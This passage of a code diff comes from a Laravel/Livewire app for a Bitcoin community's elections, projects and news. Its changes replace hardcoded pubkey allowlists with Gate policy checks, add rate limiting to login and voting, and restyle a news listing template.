src="{{ $project->getSignedMediaUrl('main', 60, 'preview') }}" alt="Meetup 01">
|
||||
<button class="absolute top-0 right-0 mt-4 mr-4">
|
||||
<img class="rounded-full h-8 w-8"
|
||||
src="{{ $project->einundzwanzigPleb->profile?->picture }}"
|
||||
@@ -78,10 +78,7 @@
|
||||
|
||||
<!-- Second row: Action buttons -->
|
||||
<div class="flex flex-wrap gap-2">
|
||||
@if(
|
||||
($currentPleb && $currentPleb->id === $project->einundzwanzig_pleb_id)
|
||||
|| ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true))
|
||||
)
|
||||
@if(Illuminate\Support\Facades\Gate::forUser(App\Support\NostrAuth::user())->allows('delete', $project))
|
||||
<flux:button
|
||||
icon="trash"
|
||||
size="xs"
|
||||
@@ -89,7 +86,8 @@
|
||||
wire:click="$dispatch('confirmDeleteProject', { id: {{ $project->id }} })">
|
||||
Löschen
|
||||
</flux:button>
|
||||
|
||||
@endif
|
||||
@if(Illuminate\Support\Facades\Gate::forUser(App\Support\NostrAuth::user())->allows('update', $project))
|
||||
<flux:button
|
||||
icon="pencil"
|
||||
size="xs"
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Election;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
use swentel\nostr\Filter\Filter;
|
||||
@@ -49,18 +51,31 @@ new class extends Component {
|
||||
$this->loadBoardEvents();
|
||||
$this->loadVotes();
|
||||
$this->loadBoardVotes();
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
if ($nostrUser) {
|
||||
$this->currentPubkey = $nostrUser->getPubkey();
|
||||
$this->currentPleb = $nostrUser->getPleb();
|
||||
$this->isAllowed = Gate::forUser($nostrUser)->allows('update', $this->election);
|
||||
}
|
||||
}
|
||||
|
||||
public function handleNostrLoggedIn(string $pubkey): void
|
||||
{
|
||||
NostrAuth::login($pubkey);
|
||||
|
||||
$this->currentPubkey = $pubkey;
|
||||
$this->currentPleb = \App\Models\EinundzwanzigPleb::query()
|
||||
->where('pubkey', $pubkey)->first();
|
||||
$this->isAllowed = (bool) $this->currentPleb;
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('update', $this->election);
|
||||
}
|
||||
|
||||
public function handleNostrLoggedOut(): void
|
||||
{
|
||||
NostrAuth::logout();
|
||||
|
||||
$this->currentPubkey = null;
|
||||
$this->currentPleb = null;
|
||||
$this->isAllowed = false;
|
||||
@@ -139,17 +154,22 @@ new class extends Component {
|
||||
|
||||
public function loadNostrEvents($kinds): array
|
||||
{
|
||||
$relayUrl = config('services.relay');
|
||||
if (! $relayUrl) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$subscription = new Subscription;
|
||||
$subscriptionId = $subscription->setId();
|
||||
$filter = new Filter;
|
||||
$filter->setKinds($kinds);
|
||||
$requestMessage = new RequestMessage($subscriptionId, [$filter]);
|
||||
$relaySet = new RelaySet;
|
||||
$relaySet->setRelays([new Relay(config('services.relay'))]);
|
||||
$relaySet->setRelays([new Relay($relayUrl)]);
|
||||
$request = new Request($relaySet, $requestMessage);
|
||||
$response = $request->send();
|
||||
|
||||
return collect($response[config('services.relay')])
|
||||
return collect($response[$relayUrl] ?? [])
|
||||
->map(function ($event) {
|
||||
if (! isset($event->event)) {
|
||||
return false;
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\Election;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
|
||||
@@ -29,34 +30,31 @@ new class extends Component {
|
||||
$this->elections = Election::query()
|
||||
->get()
|
||||
->toArray();
|
||||
if (NostrAuth::check()) {
|
||||
$this->currentPubkey = NostrAuth::pubkey();
|
||||
$logPubkeys = [
|
||||
'0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033',
|
||||
'430169631f2f0682c60cebb4f902d68f0c71c498fd1711fd982f052cf1fd4279',
|
||||
];
|
||||
if (in_array($this->currentPubkey, $logPubkeys, true)) {
|
||||
$this->isAllowed = true;
|
||||
}
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
|
||||
if ($nostrUser) {
|
||||
$this->currentPubkey = $nostrUser->getPubkey();
|
||||
$this->isAllowed = Gate::forUser($nostrUser)->allows('update', Election::query()->first() ?? new Election);
|
||||
}
|
||||
}
|
||||
|
||||
public function handleNostrLoggedIn(string $pubkey): void
|
||||
{
|
||||
NostrAuth::login($pubkey);
|
||||
|
||||
$this->currentPubkey = $pubkey;
|
||||
$this->currentPleb = EinundzwanzigPleb::query()
|
||||
->where('pubkey', $pubkey)->first();
|
||||
|
||||
$logPubkeys = [
|
||||
'0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033',
|
||||
'430169631f2f0682c60cebb4f902d68f0c71c498fd1711fd982f052cf1fd4279',
|
||||
];
|
||||
|
||||
$this->isAllowed = in_array($pubkey, $logPubkeys, true);
|
||||
$nostrUser = NostrAuth::user();
|
||||
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('update', Election::query()->first() ?? new Election);
|
||||
}
|
||||
|
||||
public function handleNostrLoggedOut(): void
|
||||
{
|
||||
NostrAuth::logout();
|
||||
|
||||
$this->currentPubkey = null;
|
||||
$this->currentPleb = null;
|
||||
$this->isAllowed = false;
|
||||
@@ -66,6 +64,9 @@ new class extends Component {
|
||||
{
|
||||
$election = $this->elections[$index];
|
||||
$electionModel = Election::find($election['id']);
|
||||
|
||||
Gate::forUser(NostrAuth::user())->authorize('update', $electionModel);
|
||||
|
||||
$electionModel->candidates = $election['candidates'];
|
||||
$electionModel->save();
|
||||
}
|
||||
|
||||
@@ -4,6 +4,8 @@ use App\Models\Election;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\Profile;
|
||||
use App\Support\NostrAuth;
|
||||
use Illuminate\Support\Facades\Gate;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Livewire\Attributes\Computed;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Component;
|
||||
@@ -55,7 +57,7 @@ new class extends Component {
|
||||
];
|
||||
|
||||
#[Computed]
|
||||
public function loadedEvents(): array
|
||||
public function loadedEvents(): \Illuminate\Support\Collection
|
||||
{
|
||||
return collect($this->events)
|
||||
->map(function ($event) {
|
||||
@@ -82,12 +84,11 @@ new class extends Component {
|
||||
})
|
||||
->sortByDesc('created_at')
|
||||
->unique(fn ($event) => $event['pubkey'].$event['type'])
|
||||
->values()
|
||||
->toArray();
|
||||
->values();
|
||||
}
|
||||
|
||||
#[Computed]
|
||||
public function loadedBoardEvents(): array
|
||||
public function loadedBoardEvents(): \Illuminate\Support\Collection
|
||||
{
|
||||
return collect($this->boardEvents)
|
||||
->map(function ($event) {
|
||||
@@ -113,16 +114,15 @@ new class extends Component {
|
||||
];
|
||||
})
|
||||
->sortByDesc('created_at')
|
||||
->values()
|
||||
->toArray();
|
||||
->values();
|
||||
}
|
||||
|
||||
#[Computed]
|
||||
public function electionConfig(): array
|
||||
public function electionConfig(): \Illuminate\Support\Collection
|
||||
{
|
||||
$loadedEvents = $this->loadedEvents();
|
||||
|
||||
return collect(json_decode($this->election->candidates, true, 512, JSON_THROW_ON_ERROR))
|
||||
return collect($this->election->candidates)
|
||||
->map(function ($c) use ($loadedEvents) {
|
||||
$candidates = Profile::query()
|
||||
->whereIn('pubkey', $c['c'])
|
||||
@@ -147,16 +147,15 @@ new class extends Component {
|
||||
'c' => $c['c'],
|
||||
'candidates' => $candidates,
|
||||
];
|
||||
})
|
||||
->toArray();
|
||||
});
|
||||
}
|
||||
|
||||
#[Computed]
|
||||
public function electionConfigBoard(): array
|
||||
public function electionConfigBoard(): \Illuminate\Support\Collection
|
||||
{
|
||||
$loadedBoardEvents = $this->loadedBoardEvents();
|
||||
|
||||
return collect(json_decode($this->election->candidates, true, 512, JSON_THROW_ON_ERROR))
|
||||
return collect($this->election->candidates)
|
||||
->map(function ($c) use ($loadedBoardEvents) {
|
||||
$candidates = Profile::query()
|
||||
->whereIn('pubkey', $c['c'])
|
||||
@@ -182,8 +181,7 @@ new class extends Component {
|
||||
'c' => $c['c'],
|
||||
'candidates' => $candidates,
|
||||
];
|
||||
})
|
||||
->toArray();
|
||||
});
|
||||
}
|
||||
|
||||
public function mount(Election $election): void
|
||||
@@ -200,14 +198,35 @@ new class extends Component {
|
||||
if ($this->election->end_time?->isPast() || ! config('services.voting')) {
|
||||
$this->isNotClosed = false;
|
||||
}
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
if ($nostrUser) {
|
||||
$this->currentPubkey = $nostrUser->getPubkey();
|
||||
$this->currentPleb = $nostrUser->getPleb();
|
||||
$this->isAllowed = Gate::forUser($nostrUser)->allows('vote', $this->election);
|
||||
}
|
||||
}
|
||||
|
||||
public function handleNostrLoggedIn(string $pubkey): void
|
||||
{
|
||||
$executed = RateLimiter::attempt(
|
||||
'nostr-login:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many login attempts.');
|
||||
}
|
||||
|
||||
NostrAuth::login($pubkey);
|
||||
|
||||
$this->currentPubkey = $pubkey;
|
||||
$this->currentPleb = EinundzwanzigPleb::query()
|
||||
->where('pubkey', $pubkey)->first();
|
||||
$this->isAllowed = (bool) $this->currentPleb;
|
||||
|
||||
$nostrUser = NostrAuth::user();
|
||||
$this->isAllowed = $nostrUser && Gate::forUser($nostrUser)->allows('vote', $this->election);
|
||||
}
|
||||
|
||||
public function handleNostrLoggedOut(): void
|
||||
@@ -248,17 +267,22 @@ new class extends Component {
|
||||
|
||||
public function loadNostrEvents($kinds): array
|
||||
{
|
||||
$relayUrl = config('services.relay');
|
||||
if (! $relayUrl) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$subscription = new Subscription;
|
||||
$subscriptionId = $subscription->setId();
|
||||
$filter = new Filter;
|
||||
$filter->setKinds($kinds);
|
||||
$requestMessage = new RequestMessage($subscriptionId, [$filter]);
|
||||
$relaySet = new RelaySet;
|
||||
$relaySet->setRelays([new Relay(config('services.relay'))]);
|
||||
$relaySet->setRelays([new Relay($relayUrl)]);
|
||||
$request = new Request($relaySet, $requestMessage);
|
||||
$response = $request->send();
|
||||
|
||||
return collect($response[config('services.relay')])
|
||||
return collect($response[$relayUrl] ?? [])
|
||||
->map(function ($event) {
|
||||
if (! isset($event->event)) {
|
||||
return false;
|
||||
@@ -279,6 +303,18 @@ new class extends Component {
|
||||
|
||||
public function vote($pubkey, $type, $board = false): void
|
||||
{
|
||||
Gate::forUser(NostrAuth::user())->authorize('vote', $this->election);
|
||||
|
||||
$executed = RateLimiter::attempt(
|
||||
'voting:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many voting attempts.');
|
||||
}
|
||||
|
||||
if ($this->election->end_time?->isPast()) {
|
||||
$this->isNotClosed = false;
|
||||
|
||||
@@ -303,6 +339,16 @@ new class extends Component {
|
||||
|
||||
public function signEvent($event): void
|
||||
{
|
||||
$executed = RateLimiter::attempt(
|
||||
'voting:'.request()->ip(),
|
||||
10,
|
||||
function () {},
|
||||
);
|
||||
|
||||
if (! $executed) {
|
||||
abort(429, 'Too many voting attempts.');
|
||||
}
|
||||
|
||||
$note = new NostrEvent;
|
||||
$note->setId($event['id']);
|
||||
$note->setSignature($event['sig']);
|
||||
@@ -311,8 +357,12 @@ new class extends Component {
|
||||
$note->setPublicKey($event['pubkey']);
|
||||
$note->setTags($event['tags']);
|
||||
$note->setCreatedAt($event['created_at']);
|
||||
$relayUrl = config('services.relay');
|
||||
if (! $relayUrl) {
|
||||
return;
|
||||
}
|
||||
$eventMessage = new EventMessage($note);
|
||||
$relay = new Relay(config('services.relay'));
|
||||
$relay = new Relay($relayUrl);
|
||||
$relay->setMessage($eventMessage);
|
||||
$relay->send();
|
||||
\App\Support\Broadcast::on('votes')->as('newVote')->sendNow();
|
||||
|
||||
@@ -219,7 +219,7 @@ new class extends Component
|
||||
</flux:button>
|
||||
</div>
|
||||
|
||||
<flux:table>
|
||||
<flux:table id="einundzwanzig-pleb-table">
|
||||
<flux:table.columns>
|
||||
<flux:table.column>Avatar</flux:table.column>
|
||||
<flux:table.column
|
||||
|
||||
@@ -103,12 +103,12 @@ class extends Component {
|
||||
|
||||
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first();
|
||||
|
||||
$news = Notification::query()->create([
|
||||
'name' => $this->form['name'],
|
||||
'description' => $this->form['description'] ?? null,
|
||||
'category' => $this->form['category'],
|
||||
'einundzwanzig_pleb_id' => $currentPleb->id,
|
||||
]);
|
||||
$news = new Notification;
|
||||
$news->name = $this->form['name'];
|
||||
$news->description = $this->form['description'] ?? null;
|
||||
$news->category = $this->form['category'];
|
||||
$news->einundzwanzig_pleb_id = $currentPleb->id;
|
||||
$news->save();
|
||||
|
||||
if ($this->file) {
|
||||
$news
|
||||
@@ -142,289 +142,243 @@ class extends Component {
|
||||
|
||||
<div>
|
||||
@if($isAllowed)
|
||||
<div class="xl:flex">
|
||||
<div class="flex flex-col gap-6 lg:flex-row lg:gap-8">
|
||||
|
||||
<!-- Left + Middle content -->
|
||||
<div class="md:flex flex-1">
|
||||
<!-- Main content -->
|
||||
<div class="flex-1 min-w-0 flex flex-col gap-6">
|
||||
<!-- Page title -->
|
||||
<h1 class="text-[28px] font-semibold text-text-primary">News</h1>
|
||||
|
||||
<!-- Left content -->
|
||||
<div class="w-full md:w-60 mb-8 md:mb-0">
|
||||
<div
|
||||
class="md:sticky md:top-16 md:h-[calc(100dvh-64px)] md:overflow-x-hidden md:overflow-y-auto no-scrollbar">
|
||||
<div class="md:py-8">
|
||||
<!-- Category filter pills -->
|
||||
<div class="flex flex-nowrap gap-2 overflow-x-auto no-scrollbar pb-1">
|
||||
<button
|
||||
wire:click="clearFilter"
|
||||
class="shrink-0 rounded-full px-4 py-1.5 text-[13px] font-semibold transition-colors cursor-pointer {{ $selectedCategory === null ? 'bg-orange-primary text-white' : 'border border-border-default text-text-secondary hover:text-text-primary' }}"
|
||||
>
|
||||
Alle
|
||||
</button>
|
||||
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
|
||||
<button
|
||||
wire:key="cat_{{ $category['value'] }}"
|
||||
wire:click="filterByCategory({{ $category['value'] }})"
|
||||
class="shrink-0 rounded-full px-4 py-1.5 text-[13px] transition-colors cursor-pointer {{ $selectedCategory === $category['value'] ? 'bg-orange-primary text-white font-semibold' : 'border border-border-default text-text-secondary hover:text-text-primary font-normal' }}"
|
||||
>
|
||||
{{ $category['emoji'] }} {{ $category['label'] }}
|
||||
</button>
|
||||
@endforeach
|
||||
</div>
|
||||
|
||||
<div class="flex justify-between items-center md:block">
|
||||
|
||||
<!-- Title -->
|
||||
<header class="mb-6">
|
||||
<h1 class="text-2xl md:text-3xl text-zinc-800 dark:text-zinc-100 font-bold">
|
||||
News
|
||||
</h1>
|
||||
</header>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Links -->
|
||||
<div
|
||||
class="flex flex-nowrap overflow-x-scroll no-scrollbar md:block md:overflow-auto px-4 md:space-y-3 -mx-4">
|
||||
<!-- Group 1 -->
|
||||
<!-- News list -->
|
||||
<div class="flex flex-col gap-4">
|
||||
@forelse($this->filteredNews as $post)
|
||||
<div wire:key="post_{{ $post->id }}" class="news-card bg-bg-surface rounded-xl p-5 border border-border-subtle flex flex-col gap-4">
|
||||
<!-- Card header: avatar + meta -->
|
||||
<div class="flex items-center gap-3">
|
||||
<img
|
||||
src="{{ $post->einundzwanzigPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
|
||||
alt="{{ $post->einundzwanzigPleb->profile?->name ?? 'Anonym' }}"
|
||||
class="w-10 h-10 rounded-full bg-bg-elevated object-cover shrink-0"
|
||||
/>
|
||||
<div class="flex-1 min-w-0 flex flex-col gap-1">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="text-sm font-semibold text-text-primary">{{ $post->einundzwanzigPleb?->profile?->name ?? str($post->einundzwanzigPleb?->npub)->limit(32) }}</span>
|
||||
<span class="text-xs text-text-tertiary">{{ $post->created_at->format('d.m.Y') }}</span>
|
||||
</div>
|
||||
<div>
|
||||
<div
|
||||
class="text-xs font-semibold text-zinc-400 dark:text-zinc-500 uppercase mb-3 md:sr-only">
|
||||
Kategorien
|
||||
</div>
|
||||
<ul class="flex flex-nowrap md:block mr-3 md:mr-0">
|
||||
<li class="mr-0.5 md:mr-0 md:mb-0.5" wire:key="category_all">
|
||||
<button
|
||||
type="button"
|
||||
wire:click="clearFilter"
|
||||
@class([
|
||||
'inline-flex items-center px-2.5 py-1 rounded-md text-sm font-medium transition-colors cursor-pointer',
|
||||
'bg-amber-500 text-white' => $selectedCategory === null,
|
||||
'bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600' => $selectedCategory !== null,
|
||||
])
|
||||
>
|
||||
<i class="fa-sharp-duotone fa-solid fa-layer-group shrink-0 fill-current mr-2"></i>
|
||||
<span>Alle</span>
|
||||
</button>
|
||||
</li>
|
||||
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
|
||||
<li class="mr-0.5 md:mr-0 md:mb-0.5"
|
||||
wire:key="category_{{ $category['value'] }}">
|
||||
<button
|
||||
type="button"
|
||||
wire:click="filterByCategory({{ $category['value'] }})"
|
||||
@class([
|
||||
'inline-flex items-center px-2.5 py-1 rounded-md text-sm font-medium transition-colors cursor-pointer',
|
||||
'bg-amber-500 text-white' => $selectedCategory === $category['value'],
|
||||
'bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600' => $selectedCategory !== $category['value'],
|
||||
])
|
||||
>
|
||||
<i class="fa-sharp-duotone fa-solid fa-{{ $category['icon'] }} shrink-0 fill-current mr-2"></i>
|
||||
<span>{{ $category['label'] }}</span>
|
||||
</button>
|
||||
</li>
|
||||
@endforeach
|
||||
</ul>
|
||||
<button
|
||||
wire:click="filterByCategory({{ $post->category->value }})"
|
||||
class="news-category-badge news-category-badge--{{ $post->category->color() }} inline-flex items-center rounded-full px-2.5 py-0.5 text-[11px] cursor-pointer"
|
||||
>
|
||||
{{ $post->category->emoji() }} {{ $post->category->label() }}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Middle content -->
|
||||
<div class="flex-1 md:ml-8 xl:mx-4 2xl:mx-8">
|
||||
<div class="md:py-8">
|
||||
|
||||
<div class="space-y-2">
|
||||
@forelse($this->filteredNews as $post)
|
||||
<flux:card wire:key="post_{{ $post->id }}">
|
||||
<!-- Avatar -->
|
||||
<div class="shrink-0 mt-1.5">
|
||||
<img class="w-8 h-8 rounded-full"
|
||||
src="{{ $post->einundzwanzigPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
|
||||
width="32" height="32"
|
||||
alt="{{ $post->einundzwanzigPleb->profile?->name }}">
|
||||
</div>
|
||||
<!-- Content -->
|
||||
<div class="grow">
|
||||
<!-- Category Badge -->
|
||||
<div class="mb-2">
|
||||
<button
|
||||
type="button"
|
||||
wire:click="filterByCategory({{ $post->category->value }})"
|
||||
class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600 transition-colors"
|
||||
>
|
||||
<i class="fa-sharp-duotone fa-solid fa-{{ $post->category->icon() }} mr-1"></i>
|
||||
{{ $post->category->label() }}
|
||||
</button>
|
||||
</div>
|
||||
<!-- Title -->
|
||||
<h2 class="font-semibold text-zinc-800 dark:text-zinc-100 mb-2">
|
||||
{{ $post->name }}
|
||||
</h2>
|
||||
<p class="mb-6">
|
||||
{{ $post->description }}
|
||||
</p>
|
||||
<!-- Footer -->
|
||||
<footer class="flex flex-wrap text-sm">
|
||||
<div
|
||||
class="flex items-center after:block after:content-['·'] last:after:content-[''] after:text-sm after:text-zinc-400 dark:after:text-zinc-600 after:px-2">
|
||||
<div
|
||||
class="font-medium text-amber-500 hover:text-amber-600 dark:hover:text-amber-400">
|
||||
<div class="flex items-center">
|
||||
<svg class="mr-2 fill-current" width="16"
|
||||
height="16"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path
|
||||
d="M15.686 5.708 10.291.313c-.4-.4-.999-.4-1.399 0s-.4 1 0 1.399l.6.6-6.794 3.696-1-1C1.299 4.61.7 4.61.3 5.009c-.4.4-.4 1 0 1.4l1.498 1.498 2.398 2.398L.6 14.001 2 15.4l3.696-3.697L9.692 15.7c.5.5 1.199.2 1.398 0 .4-.4.4-1 0-1.4l-.999-.998 3.697-6.695.6.6c.599.6 1.199.2 1.398 0 .3-.4.3-1.1-.1-1.499Zm-7.193 6.095L4.196 7.507l6.695-3.697 1.298 1.299-3.696 6.694Z"></path>
|
||||
</svg>
|
||||
{{ $post->einundzwanzigPleb->profile->name }}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center after:block after:content-['·'] last:after:content-[''] after:text-sm after:text-zinc-400 dark:after:text-zinc-600 after:px-2">
|
||||
<span
|
||||
class="text-zinc-500">{{ $post->created_at->format('d.m.Y') }}</span>
|
||||
</div>
|
||||
</footer>
|
||||
</div>
|
||||
<div class="mt-2 flex justify-end w-full space-x-2">
|
||||
<flux:button
|
||||
xs
|
||||
target="_blank"
|
||||
:href="url()->temporarySignedRoute('media.signed', now()->addMinutes(30), ['media' => $post->getFirstMedia('pdf')])"
|
||||
icon="cloud-arrow-down">
|
||||
Öffnen
|
||||
</flux:button>
|
||||
@if($canEdit)
|
||||
<flux:modal.trigger name="delete-news-{{ $post->id }}">
|
||||
<flux:button
|
||||
xs
|
||||
variant="danger"
|
||||
icon="trash"
|
||||
wire:click="confirmDelete({{ $post->id }})">
|
||||
Löschen
|
||||
</flux:button>
|
||||
</flux:modal.trigger>
|
||||
|
||||
<flux:modal name="delete-news-{{ $post->id }}" class="min-w-88">
|
||||
<div class="space-y-6">
|
||||
<div>
|
||||
<flux:heading size="lg">News löschen?</flux:heading>
|
||||
<flux:text class="mt-2">
|
||||
Du bist dabei, diese News zu löschen.<br>
|
||||
Diese Aktion kann nicht rückgängig gemacht werden.
|
||||
</flux:text>
|
||||
</div>
|
||||
<div class="flex gap-2">
|
||||
<flux:spacer />
|
||||
<flux:modal.close>
|
||||
<flux:button variant="ghost">Abbrechen</flux:button>
|
||||
</flux:modal.close>
|
||||
<flux:button wire:click="delete" variant="danger">Löschen</flux:button>
|
||||
</div>
|
||||
</div>
|
||||
</flux:modal>
|
||||
@endif
|
||||
</div>
|
||||
</flux:card>
|
||||
@empty
|
||||
<flux:card>
|
||||
@if($selectedCategory !== null)
|
||||
<p>Keine News in dieser Kategorie vorhanden.</p>
|
||||
<flux:button wire:click="clearFilter" size="sm" class="mt-2">
|
||||
Alle anzeigen
|
||||
</flux:button>
|
||||
@else
|
||||
<p>Keine News vorhanden.</p>
|
||||
@endif
|
||||
</flux:card>
|
||||
@endforelse
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Right content -->
|
||||
<div class="w-full mt-8 sm:mt-0 xl:w-72">
|
||||
<div
|
||||
class="lg:sticky lg:top-16 lg:h-[calc(100dvh-64px)] lg:overflow-x-hidden lg:overflow-y-auto no-scrollbar">
|
||||
<div class="md:py-8">
|
||||
|
||||
<!-- Blocks -->
|
||||
<div class="space-y-4">
|
||||
|
||||
@if($canEdit)
|
||||
<flux:card>
|
||||
<div
|
||||
class="text-xs font-semibold text-zinc-400 dark:text-zinc-200 uppercase mb-4">
|
||||
News anlegen
|
||||
</div>
|
||||
<div class="mt-4 flex flex-col space-y-2">
|
||||
<flux:file-upload wire:model="file" label="PDF hochladen">
|
||||
<flux:file-upload.dropzone heading="Drop file here or click to browse" text="PDF bis 10MB" />
|
||||
</flux:file-upload>
|
||||
@error('file')
|
||||
<span class="text-red-500">{{ $message }}</span>
|
||||
@enderror
|
||||
<div class="mt-3 flex flex-col gap-2">
|
||||
@if ($file)
|
||||
<flux:file-item
|
||||
:heading="$file->getClientOriginalName()"
|
||||
:size="$file->getSize()"
|
||||
>
|
||||
<x-slot name="actions">
|
||||
<flux:file-item.remove wire:click="removeFile" aria-label="{{ 'Remove file: ' . $file->getClientOriginalName() }}" />
|
||||
</x-slot>
|
||||
</flux:file-item>
|
||||
@endif
|
||||
</div>
|
||||
<div>
|
||||
<flux:field>
|
||||
<flux:label>Kategorie</flux:label>
|
||||
<flux:select
|
||||
wire:model="form.category"
|
||||
placeholder="Wähle Kategorie"
|
||||
>
|
||||
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
|
||||
<flux:select.option
|
||||
:label="$category['label']"
|
||||
:value="$category['value']"
|
||||
/>
|
||||
@endforeach
|
||||
</flux:select>
|
||||
<flux:error name="form.category"/>
|
||||
</flux:field>
|
||||
</div>
|
||||
<div>
|
||||
<flux:field>
|
||||
<flux:label>Titel</flux:label>
|
||||
<flux:input wire:model="form.name" placeholder="News-Titel"/>
|
||||
<flux:error name="form.name"/>
|
||||
</flux:field>
|
||||
</div>
|
||||
<div>
|
||||
<flux:field>
|
||||
<flux:label>Beschreibung</flux:label>
|
||||
<flux:description>optional</flux:description>
|
||||
<flux:textarea wire:model="form.description" rows="4"
|
||||
placeholder="Beschreibung..."/>
|
||||
<flux:error name="form.description"/>
|
||||
</flux:field>
|
||||
</div>
|
||||
<flux:button wire:click="save" class="w-full">
|
||||
Hinzufügen
|
||||
</flux:button>
|
||||
</div>
|
||||
</flux:card>
|
||||
<!-- Card body -->
|
||||
<div class="flex flex-col gap-2">
|
||||
<h3 class="text-base font-semibold text-text-primary">{{ $post->name }}</h3>
|
||||
@if($post->description)
|
||||
<p class="text-[13px] leading-relaxed text-text-secondary">{{ $post->description }}</p>
|
||||
@endif
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Card footer -->
|
||||
<div class="flex items-center">
|
||||
@if($post->getFirstMedia('pdf'))
|
||||
<a
|
||||
href="{{ url()->temporarySignedRoute('media.signed', now()->addMinutes(30), ['media' => $post->getFirstMedia('pdf')]) }}"
|
||||
target="_blank"
|
||||
class="inline-flex items-center gap-2 rounded-lg border border-border-default px-4 py-2 text-[13px] font-medium text-text-secondary hover:text-text-primary transition-colors"
|
||||
>
|
||||
<svg class="w-3.5 h-3.5" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4"/><path d="M10 13H6"/><path d="M14 13h-1"/></svg>
|
||||
PDF öffnen
|
||||
</a>
|
||||
@endif
|
||||
@if($canEdit)
|
||||
<div class="ml-auto">
|
||||
<flux:modal.trigger name="delete-news-{{ $post->id }}">
|
||||
<button
|
||||
wire:click="confirmDelete({{ $post->id }})"
|
||||
class="inline-flex items-center gap-1.5 rounded-lg bg-red-500/20 px-4 py-2 text-[13px] font-medium text-red-500 hover:bg-red-500/30 transition-colors cursor-pointer"
|
||||
>
|
||||
<svg class="w-3.5 h-3.5" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 6h18"/><path d="M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6"/><path d="M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2"/><line x1="10" x2="10" y1="11" y2="17"/><line x1="14" x2="14" y1="11" y2="17"/></svg>
|
||||
Löschen
|
||||
</button>
|
||||
</flux:modal.trigger>
|
||||
|
||||
<flux:modal name="delete-news-{{ $post->id }}" class="min-w-88">
|
||||
<div class="space-y-6">
|
||||
<div>
|
||||
<flux:heading size="lg">News löschen?</flux:heading>
|
||||
<flux:text class="mt-2">
|
||||
Du bist dabei, diese News zu löschen.<br>
|
||||
Diese Aktion kann nicht rückgängig gemacht werden.
|
||||
</flux:text>
|
||||
</div>
|
||||
<div class="flex gap-2">
|
||||
<flux:spacer />
|
||||
<flux:modal.close>
|
||||
<flux:button variant="ghost">Abbrechen</flux:button>
|
||||
</flux:modal.close>
|
||||
<flux:button wire:click="delete" variant="danger">Löschen</flux:button>
|
||||
</div>
|
||||
</div>
|
||||
</flux:modal>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@empty
|
||||
<div class="bg-bg-surface rounded-xl p-5 border border-border-subtle">
|
||||
<div class="py-6 text-center">
|
||||
@if($selectedCategory !== null)
|
||||
<flux:icon name="funnel" class="mx-auto mb-3 text-text-disabled" />
|
||||
<h3 class="text-base font-semibold text-text-primary">Keine News in dieser Kategorie</h3>
|
||||
<p class="mt-1 text-sm text-text-secondary">Versuche eine andere Kategorie oder zeige alle an.</p>
|
||||
